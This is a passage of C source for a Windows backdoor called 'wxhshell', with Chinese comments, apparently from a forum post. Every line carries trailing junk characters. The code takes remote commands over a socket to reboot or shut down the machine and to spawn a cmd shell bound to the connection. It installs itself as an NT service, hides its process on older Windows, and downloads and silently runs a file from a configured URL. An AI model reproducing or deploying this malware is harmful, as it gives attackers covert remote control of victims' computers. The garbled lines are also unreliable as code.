  else { nA>kJSL'$  
[`Dv#  
    switch(cmd[0]) { .3yxg}E>{  
  kA%"-$3  
  // 帮助 CP!>V:w%9!  
  case '?': { $d _%7xx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {P@OV1  
    break; COk;z.Kn  
  } 1Ydym2  
  // 安装 ;;g'C*_  
  case 'i': { j^'op|l  
    if(Install()) /K<.$B8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UuvI?D  
    else LU4k/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }hd:avze  
    break; (r+#}z}  
    } rYYAZ(\8  
  // 卸载 j[<}l&  
  case 'r': { U$5 lh  
    if(Uninstall()) WGeTL`}dh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bI?YNt,  
    else 4tv}V:EO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vPA {)l\K  
    break; V"{+cPBO)  
    } uNSbAw3  
  // 显示 wxhshell 所在路径 dJ}E,rW}  
  case 'p': { $Q cr  
    char svExeFile[MAX_PATH]; DoA+Bwq@  
    strcpy(svExeFile,"\n\r"); 9dFSppM  
      strcat(svExeFile,ExeFile); Z U^dLN- N  
        send(wsh,svExeFile,strlen(svExeFile),0); KixS)sG  
    break; r|>a;n Y  
    } 2po>%Cp  
  // 重启 1^4z/<ZWm  
  case 'b': { nR1QS_@{L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dtw1q-  
    if(Boot(REBOOT)) -$js5 Gx1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0+P<1ui  
    else { >u:t2DxE  
    closesocket(wsh); mgxoM|n6  
    ExitThread(0); ufekhj  
    } 7jL3mI;n%;  
    break;  DlWnz-  
    } ]d|:&h  
  // 关机 R|Lr@k{6+r  
  case 'd': { 05cyWg9a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); - s,M+Q(<  
    if(Boot(SHUTDOWN)) L| uoFG{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =6sL}$  
    else { Pgg\(D#X`  
    closesocket(wsh); |/R)FT#i  
    ExitThread(0); 5}uH;E)4  
    } ?4 fXCb]7  
    break; Mr3;B+S  
    } ,#FK3;U  
  // 获取shell }bxW@(bs  
  case 's': { 8 ;C_@  
    CmdShell(wsh); x!08FL)  
    closesocket(wsh); lnk`D(>W  
    ExitThread(0); Gz9w1[t  
    break; `N69xAiy  
  } Ikn)XZU^  
  // 退出 [?vn>  
  case 'x': { 7z=zJ4C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3. kP,  
    CloseIt(wsh); y.l`NTT] <  
    break; "#a_--"k9  
    } 1b,,uI_  
  // 离开 kt ILKpHt"  
  case 'q': { lStYfO:<'v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JQhw>H9&  
    closesocket(wsh); "|6#n34  
    WSACleanup(); U?}>A5H  
    exit(1); w,t>M_( N  
    break; =&J 7 'nDP  
        } j JxV)AIY  
  } Gqz<;y  
  } ;gC.fpu  
#=G[ ~m\  
  // 提示信息 q-g3!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +x3T^G  
} Sj$XRkbj:  
  } %ifq4'?Z   
'<A:`V9M}v  
  return; FOFZ/q  
} wap@q6fz<  
f<`is+"  
// shell模块句柄 $ {iV]Xt  
int CmdShell(SOCKET sock)  4|9c+^%^  
{ S|{'.XG  
STARTUPINFO si; B~ o;,}  
ZeroMemory(&si,sizeof(si)); >>ncq$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lAxbF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CO` %eL ~  
PROCESS_INFORMATION ProcessInfo; V?a+u7*U&  
char cmdline[]="cmd"; X_}2xo|T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |,&5.|E 7  
  return 0; }w0>mA0=H  
} xMAfa>]{n  
Iq@:n_~  
// 自身启动模式 _\9|acFT2O  
int StartFromService(void) q\P"AlpC!  
{ LG0z|x(  
typedef struct XQW+6LEQ  
{ $\0%"S  
  DWORD ExitStatus; PfaBzi9?f  
  DWORD PebBaseAddress; J;K-Pv +  
  DWORD AffinityMask; |hp_<F9.  
  DWORD BasePriority; \BV$p2m5-  
  ULONG UniqueProcessId; Q]Ymv:M,  
  ULONG InheritedFromUniqueProcessId; 0wx lsny?  
}   PROCESS_BASIC_INFORMATION; k}5Sz  
5ayM}u%\~  
PROCNTQSIP NtQueryInformationProcess; r+}5;fQJ  
n( |~z   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8| 6:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yA8e"$  
/.'tfy $  
  HANDLE             hProcess; s<i& q {r  
  PROCESS_BASIC_INFORMATION pbi; BM(8+Wj  
]}3AP!:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $c!cO" U  
  if(NULL == hInst ) return 0; %6\e_y%  
BI'}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `uO(#au,U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IA\CBwiLj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O>Vb7`z0<  
\"]vSx>  
  if (!NtQueryInformationProcess) return 0; S1iF1X(+?X  
hPs7mnSW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eY)JuJ?  
  if(!hProcess) return 0; 03WLVP@  
woctnT%"Q/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nN=o/zd  
K0|8h!WF+  
  CloseHandle(hProcess); Ue>;h9^  
x<m{B@3T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xQ[~ c1  
if(hProcess==NULL) return 0; ZfPWH'P  
ionFPc].  
HMODULE hMod; Sn I-dXNF  
char procName[255]; i@=0fHiZQ  
unsigned long cbNeeded; ?onaJ=mT  
8X6F6RK6,1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CCCd=s.  
W 6_~.m"b  
  CloseHandle(hProcess); Xknp*(9  
<5 R`E(  
if(strstr(procName,"services")) return 1; // 以服务启动 rOt`5_2f  
C%$:Oq  
  return 0; // 注册表启动 VJK?"mX  
} :^c ' P<HM  
#J 1vN]g  
// 主模块 wABaNB=9;  
int StartWxhshell(LPSTR lpCmdLine) J}Q4.1WG$  
{ *hhPCYOm  
  SOCKET wsl; LL|uMe"Jb  
BOOL val=TRUE; qSB]Zm<  
  int port=0; HLL[r0P`F  
  struct sockaddr_in door; 'W!N1W@  
ea"!:cL(g  
  if(wscfg.ws_autoins) Install(); o"^+i#H!  
b51{sL  
port=atoi(lpCmdLine); hJr cy!P<a  
B0_[bQoc1  
if(port<=0) port=wscfg.ws_port; Ck71N3~W  
s*"Yi~  
  WSADATA data; -dCM eC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5XK}8\  
-8j<`(M' 5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D(EY"s37  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sFd"VRAV~E  
  door.sin_family = AF_INET; "|{3V:e>a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < r6e23  
  door.sin_port = htons(port); av-l_iE  
{s=n "*Qp)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rTBrl[&,q'  
closesocket(wsl); S,9}p 1  
return 1; 8<,b5  
} PNm WZW*  
>EVlMt27'  
  if(listen(wsl,2) == INVALID_SOCKET) { c4]/{!4 Q  
closesocket(wsl); "A_,Ga  
return 1; ]2^tV.^S^  
} e,Ih7-=Er,  
  Wxhshell(wsl); 9ghZL Q  
  WSACleanup(); ttazY#  
D}n&`^1X+  
return 0; _cz&f%qr  
f.V1  
} wYZ"fusT  
%9D$N  
// 以NT服务方式启动 eBZa 9X$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ls5s}X  
{ L0v& m  
DWORD   status = 0; \,:3bY_d  
  DWORD   specificError = 0xfffffff; ^%)H;  
r?{$k3Vl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y^zL}@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G k'j<a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <SiD m-=E  
  serviceStatus.dwWin32ExitCode     = 0; 7@[3]c<=  
  serviceStatus.dwServiceSpecificExitCode = 0; bjgf8427I  
  serviceStatus.dwCheckPoint       = 0; 4nC`DJ;V  
  serviceStatus.dwWaitHint       = 0; KfC8~{O-  
xM ]IU <  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F[q:jY  
  if (hServiceStatusHandle==0) return; ye-o'%{  
^P5+ _P  
status = GetLastError(); +f{CfWIKs  
  if (status!=NO_ERROR) .'3&!#3  
{ JNQiCK,)}M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l `D>h2]  
    serviceStatus.dwCheckPoint       = 0; [kdt]+'+  
    serviceStatus.dwWaitHint       = 0; F-!,U)  
    serviceStatus.dwWin32ExitCode     = status; 7qfo%n"  
    serviceStatus.dwServiceSpecificExitCode = specificError; X!+#1NPM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vmI2o'zi  
    return; h @{U>U7  
  } s|7(VUPL  
;>*l?m-S@n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OBGA~E;%  
  serviceStatus.dwCheckPoint       = 0; 3t  
  serviceStatus.dwWaitHint       = 0; GCN(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qt+|s&HGt  
} ./_o+~\e'  
W)3IS&;P  
// 处理NT服务事件,比如:启动、停止 ~vD7BO`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) //c<p  
{ :D-xa!7  
switch(fdwControl) T*,kBJ  
{ */=5m]  
case SERVICE_CONTROL_STOP: a );>  
  serviceStatus.dwWin32ExitCode = 0; ?klV;+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .C avb  
  serviceStatus.dwCheckPoint   = 0; =bJj;bc'5  
  serviceStatus.dwWaitHint     = 0; g~ tG  
  { ~n)!e#p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C$X )I~M  
  } +\SNaq~&  
  return; OiB*,TWV  
case SERVICE_CONTROL_PAUSE: %9z N U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 't2dP,u<-  
  break; \3P.GS{l  
case SERVICE_CONTROL_CONTINUE: Da#|}m0>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O'5d6m  
  break; `aY{$>$S  
case SERVICE_CONTROL_INTERROGATE: ld~8g,  
  break; 7aH E:Dnwp  
}; liEb(<$a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DlB"o.  
} hZ0p /Bdv  
0qXkWGB  
// 标准应用程序主函数 G~Xh4*#J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L8<Yk`jx  
{ 3 y!yz3E  
[aM_.[bf  
// 获取操作系统版本 AXBv']Y  
OsIsNt=GetOsVer(); P0m;AqS#R  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  3nfw:.  
5pNbO[  
  // 从命令行安装 PP+{zy9Sb  
  if(strpbrk(lpCmdLine,"iI")) Install(); qaBjV6loy  
&KfRZ`9H  
  // 下载执行文件 #J AU5d  
if(wscfg.ws_downexe) { (bfHxkR.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c5_?jKpl  
  WinExec(wscfg.ws_filenam,SW_HIDE); >G`=8Ku  
} (k?,+jnR  
po~l8p>  
if(!OsIsNt) { +MG(YP/ l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZyE2=w7n  
HideProc(); h1 \)_jxA  
StartWxhshell(lpCmdLine); 3}::"X  
} wH&Rjn  
else {7^7)^@  
  if(StartFromService()) yteJHaq  
  // 以服务方式启动 rvT7 5dV0  
  StartServiceCtrlDispatcher(DispatchTable); MpbH!2J  
else 8fpaY{]  
  // 普通方式启动 Xrnxpp!#^D  
  StartWxhshell(lpCmdLine); iE}jilU  
S[fzy$">  
return 0; Q1qf'u  
}
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只看该作者 1 发表于: 2006-10-10
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